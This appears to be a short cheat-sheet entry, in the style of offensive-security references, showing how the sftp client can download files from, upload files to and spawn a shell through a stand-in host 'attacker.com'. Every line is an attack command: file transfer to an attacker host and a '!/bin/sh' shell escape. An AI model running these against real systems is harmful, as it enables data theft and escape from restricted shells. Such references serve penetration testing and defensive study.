sftp

Download

sftp user@attacker.com
get /path/to/input-file /path/to/output-file

Shell

This still requires a successfull connection to the server.

sftp user@attacker.com
!/bin/sh

Upload

sftp user@attacker.com
put /path/to/input-file /path/to/output-file